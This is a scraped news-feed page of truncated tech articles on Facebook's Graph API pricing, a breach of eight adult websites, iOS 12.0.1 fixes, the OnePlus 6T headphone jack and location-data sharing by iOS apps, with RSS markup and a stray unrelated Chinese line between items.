A failure to adequately redact a public court document from February 2017 shows that, back in 2012, Facebook considered charging companies at least $ 250,000 for access to one of its primary troves of user data, the Graph API.

In April 2014, Facebook changed the way the previously-permissive Graph API works. The social media giant restricted some data access and eliminated all access to the earlier version by June 2015.

The redaction failure was first reported Wednesday by The Wall Street Journal. Ars was able to access pages of blacked-out text simply by copying and pasting them into a text editor. However, some portions of the messages, which span 2012 through 2014, are incomplete.

Read 11 remaining paragraphs | Comments

]]> https://briefnews.eu/facebook-pondered-for-a-time-selling-access-to-user-data/feed/ 0 Hack on 8 adult websites exposes oodles of intimate user data https://briefnews.eu/hack-on-8-adult-websites-exposes-oodles-of-intimate-user-data/ https://briefnews.eu/hack-on-8-adult-websites-exposes-oodles-of-intimate-user-data/#respond Sun, 21 Oct 2018 05:28:29 +0000 http://briefnews.eu/hack-on-8-adult-websites-exposes-oodles-of-intimate-user-data/
One of the hacked websites, wifelovers.com, as it appeared on October 12.

Enlarge / One of the hacked websites, wifelovers.com, as it appeared on October 12. (credit: Internet Archive)

A recent hack of eight poorly secured adult websites has exposed megabytes of personal data that could be damaging to the people who shared pictures and other highly intimate information on the online message boards. Included in the leaked file are (1) IP addresses that connected to the sites, (2) user passwords protected by a four-decade-old cryptographic scheme, (3) names, and (4) 1.2 million unique email addresses, although it’s not clear how many of the addresses legitimately belonged to actual users.

Robert Angelini, the owner of wifelovers.com and the seven other breached sites, told Ars on Saturday morning that, in the 21 years they operated, fewer than 107,000 people posted to them. He said he didn’t know how or why the almost 98-megabyte file contained more than 12 times that many email addresses, and he hasn’t had time to examine a copy of the database that he received on Friday night.

Still, three days after receiving notification of the hack, Angelini finally confirmed the breach and took down the sites on early Saturday morning. A notice on the just-shuttered sites warns users to change passwords on other sites, especially if they match the passwords used on the hacked sites.

Read 15 remaining paragraphs | Comments

]]> https://briefnews.eu/hack-on-8-adult-websites-exposes-oodles-of-intimate-user-data/feed/ 0 iOS 12.0.1 arrives with fixes for a couple of early user complaints https://briefnews.eu/ios-12-0-1-arrives-with-fixes-for-a-couple-of-early-user-complaints/ https://briefnews.eu/ios-12-0-1-arrives-with-fixes-for-a-couple-of-early-user-complaints/#respond Tue, 09 Oct 2018 05:01:25 +0000 http://briefnews.eu/ios-12-0-1-arrives-with-fixes-for-a-couple-of-early-user-complaints/
iOS 12 on an iPhone X.

Enlarge / iOS 12 on an iPhone X. (credit: Samuel Axon)

Today, Apple released a minor update to iOS 12.

iOS 12.0.1 fixes a handful of early bugs users faced with September 17’s major release, most notably problems with WiFi connectivity and charging on new iPhones.

Some users of the newly released iPhone XS and iPhone XS Max discovered slower WiFi speeds than expected on their new devices. After digging deeper, users also discovered that the iPhone XS sometimes joined Wi-Fi networks that were available in both 2.4GHz and 5GHz bands in 2.4GHz even though the phones support 5GHz.

Read 4 remaining paragraphs | Comments

]]> https://briefnews.eu/ios-12-0-1-arrives-with-fixes-for-a-couple-of-early-user-complaints/feed/ 0 OnePlus ignores its own user polling, removes headphone jack on OnePlus 6T https://briefnews.eu/oneplus-ignores-its-own-user-polling-removes-headphone-jack-on-oneplus-6t/ https://briefnews.eu/oneplus-ignores-its-own-user-polling-removes-headphone-jack-on-oneplus-6t/#respond Mon, 17 Sep 2018 03:23:37 +0000 http://briefnews.eu/oneplus-ignores-its-own-user-polling-removes-headphone-jack-on-oneplus-6t/

给江小夏的第一千零一封信

OnePlus is working on a followup to the OnePlus 6, the OnePlus 6T. The company’s latest smartphone should launch sometime in October, and until then we’re getting a slow, continual drip of information on the device. The latest news is not so great. The company has revealed that it’s dumping the headphone jack on the OnePlus 6T.

In an interview with TechRadar, OnePlus CEO Carl Pei confirmed that the “next OnePlus handset” would not have the ubiquitous and universally compatible audio jack. “By removing the jack we’ve freed up more space, allowing us to put more new technology into the product,” Pei told TechRadar. “One of the big things is something our users have asked us for: improved battery life.”

Read 5 remaining paragraphs | Comments

]]> https://briefnews.eu/oneplus-ignores-its-own-user-polling-removes-headphone-jack-on-oneplus-6t/feed/ 0 Dozens of iOS apps surreptitiously share user location data with tracking firms https://briefnews.eu/dozens-of-ios-apps-surreptitiously-share-user-location-data-with-tracking-firms/ https://briefnews.eu/dozens-of-ios-apps-surreptitiously-share-user-location-data-with-tracking-firms/#respond Tue, 11 Sep 2018 06:47:43 +0000 http://briefnews.eu/dozens-of-ios-apps-surreptitiously-share-user-location-data-with-tracking-firms/
Article intro image

Enlarge (credit: Mongkol Chuewong, GettyImages)

During preparation for a workshop at DEF CON in August on locating privacy leaks in network traffic, we discovered a number of applications on both iOS and Android that were broadcasting precise location data back to the applications’ developers—in some cases in unencrypted formats. Research released late Friday by Sudo Security‘s Guardian mobile firewall team provided some confirmation to our findings—and demonstrated that many apps are sharing location data with firms that market location data information without the users’ knowledge.

In a blog post entitled “Location Monetization in iOS Apps,” the Guardian team detailed 24 applications from the Apple iOS App Store that pushed data to 12 different “location-data monetization firms”—companies that collect precise location data from application users for profit. The 24 identified applications were found in a random sampling of the App Store’s top free applications, so there are likely many more apps for iOS surreptitiously selling user location data. Additionally, the Guardian team confirmed that one data-mining service was connected with apps from over 100 local broadcasters owned by companies such as Sinclair, Tribune Broadcasting, Fox, and Nexstar Media.

While some of these applications use location data from various sources as part of their service—several were weather applications, and one was a fitness tracker—others use location mostly “for providing you more relevant ads.” None explicitly stated that data was being shared with a third party.

Read 3 remaining paragraphs | Comments

]]> https://briefnews.eu/dozens-of-ios-apps-surreptitiously-share-user-location-data-with-tracking-firms/feed/ 0